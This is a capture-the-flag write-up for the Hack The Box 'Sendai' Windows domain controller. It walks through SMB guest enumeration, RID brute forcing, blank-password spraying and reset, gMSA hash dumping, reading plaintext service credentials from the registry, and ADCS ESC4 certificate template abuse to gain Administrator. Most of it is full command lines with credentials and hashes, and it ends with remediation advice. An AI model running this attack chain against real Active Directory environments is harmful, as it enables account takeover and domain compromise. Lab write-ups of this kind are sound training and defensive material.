WEB MEDIUM HTB Season 8 · 

Sendai

nxc ldap DC.sendai.vl -u 'Thomas.Powell' -p 'pa$$w0rd' --gmsa ```

Category
WEB
OS
Windows

Table of Contents


Reconnaissance

Target Details

SMB Guest Enumeration

nxc smb 10.129.234.66 --generate-hosts-file /etc/hosts
nxc smb dc.sendai.vl -u 'guest' -p ''

smbmap -H dc.sendai.vl -d 'sendai.vl' -u 'guest' -p ''

Shares of interest:

Downloaded incident.txt from sendai:

smbclient //10.129.234.66/sendai -N
get incident.txt

RID brute force to enumerate users:

nxc smb dc.sendai.vl -u guest -p '' --rid-brute | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 > users.txt

Initial Access

Password Spray and Reset

Password spray with empty password:

nxc smb DC.sendai.vl -u users.txt -p '' --continue-on-success

Found:

Reset password for Thomas.Powell:

nxc smb DC.sendai.vl -u Thomas.Powell -p '' -M change-password -o NEWPASS='pa$$w0rd'

BloodHound

bloodhound-python -u 'Thomas.Powell' -p 'pa$$w0rd' -d 'sendai.vl' -c All -ns 10.129.234.66 --dns-tcp --zip

Key findings:

GMSA Hash and WinRM

Added Thomas to admsvc and dumped gMSA password:

bloodyAD -u 'Thomas.Powell' -p 'pa$$w0rd' -d 'sendai.vl' --host 'DC.sendai.vl' add groupMember "admsvc" 'Thomas.Powell'

nxc ldap DC.sendai.vl -u 'Thomas.Powell' -p 'pa$$w0rd' --gmsa

Obtained NTLM hash for MGTSVC$:

Connected via WinRM:

evil-winrm -i DC.sendai.vl -u 'sendai.vl\mgtsvc$' -H '[REDACTED_NTLM_HASH]'

User flag:

type C:\user.txt

Privilege Escalation - User

Credential Discovery in Service Registry

Enumerated services and registry:

Get-Process
Get-ChildItem -Path HKLM:\SYSTEM\CurrentControlSet\services | Get-ItemProperty | Select-Object ImagePath | Select-String helpdesk

Found plaintext credentials for:

Validated SMB:

nxc smb DC.sendai.vl -u clifford.davey -p RFmoB2WplgE_3p

User is in CA-Operators, indicating ADCS escalation potential.


Privilege Escalation - Root

ADCS ESC4 (SendaiComputer Template)

Enumerated vulnerable templates:

certipy-ad find -u 'Clifford.Davey'@'sendai.vl' -p 'RFmoB2WplgE_3p' -dc-ip 10.129.234.66 -vulnerable -enabled

Template SendaiComputer is vulnerable (ESC4). Retrieved Administrator SID:

ldapsearch -H ldap://10.129.234.66 -D 'clifford.davey@sendai.vl' -w 'RFmoB2WplgE_3p' -b "DC=sendai,DC=vl" "(sAMAccountName=Administrator)" objectSid | grep 'objectSid::' | cut -d' ' -f2 | base64 -d | python3 -c 'import sys;d=sys.stdin.buffer.read();sid="S-"+str(d[0])+"-"+str(int.from_bytes(d[2:8],"little"));sid+="-"+"-".join(str(int.from_bytes(d[i:i+4],"little")) for i in range(8,len(d),4));print(sid)'

Modified template, requested certificate, then restored template:

source '/usr/local/bin/certipy42-env/bin/activate'

certipy template -u 'clifford.davey' -p 'RFmoB2WplgE_3p' -template SendaiComputer -dc-ip 10.129.234.66 -save-old

certipy req -u 'clifford.davey' -p 'RFmoB2WplgE_3p' -ca sendai-DC-CA -template SendaiComputer -upn administrator@sendai.vl -sid S-1-5-21-3085872742-570972823-736764132-500 -dc-ip 10.129.234.66

certipy template -u 'clifford.davey' -p 'RFmoB2WplgE_3p' -template SendaiComputer -dc-ip 10.129.234.66 -configuration SendaiComputer.json

Authenticated as Administrator:

certipy auth -pfx administrator.pfx -dc-ip 10.129.234.66

WinRM with Administrator hash:

evil-winrm -i DC.sendai.vl -u 'sendai.vl\administrator' -H 'cfb106feec8b89a3d98e14dcbe8d087a'

Root flag:

type C:\Users\Administrator\Desktop\root.txt

Key Takeaways

  1. SMB guest access enabled user enumeration via RID brute force.
  2. Blank password spray exposed accounts with forced password change.
  3. GMSA read rights led to WinRM access as MGTSVC$.
  4. Service registry values leaked plaintext credentials.
  5. CA-Operators with ESC4 permissions enabled certificate-based DA compromise.

Tools Used


Flags

User Flag: C:\user.txt (value not recorded in PDF)
Root Flag: C:\Users\Administrator\Desktop\root.txt (value not recorded in PDF)


Remediation Recommendations

Critical Severity

  1. Disable SMB Guest Access

    • Issue: Guest access enabled enumeration and file access.
    • Impact: User discovery and initial foothold.
    • Remediation:
      • Disable guest SMB and require authenticated access.
  2. Fix ADCS Template Permissions (ESC4)

    • Issue: SendaiComputer template granted dangerous rights to CA-Operators.
    • Impact: Certificate-based domain admin compromise.
    • Remediation:
      • Audit certificate templates and remove excessive permissions.
      • Restrict CA-Operators group membership.

High Severity

  1. Eliminate Plaintext Service Credentials

    • Issue: Service registry stored credentials in plaintext.
    • Impact: Lateral movement to CA-Operators.
    • Remediation:
      • Use managed service accounts and secrets management.
  2. Reduce GMSA Read Rights

    • Issue: admsvc could read MGTSVC$ password.
    • Impact: WinRM access to DC.
    • Remediation:
      • Limit gMSA access to only required principals.

Medium Severity

  1. Harden Password Policies

    • Issue: Blank password spray revealed expired accounts.
    • Impact: Unauthorized password resets.
    • Remediation:
      • Enforce strong passwords and lockout policies.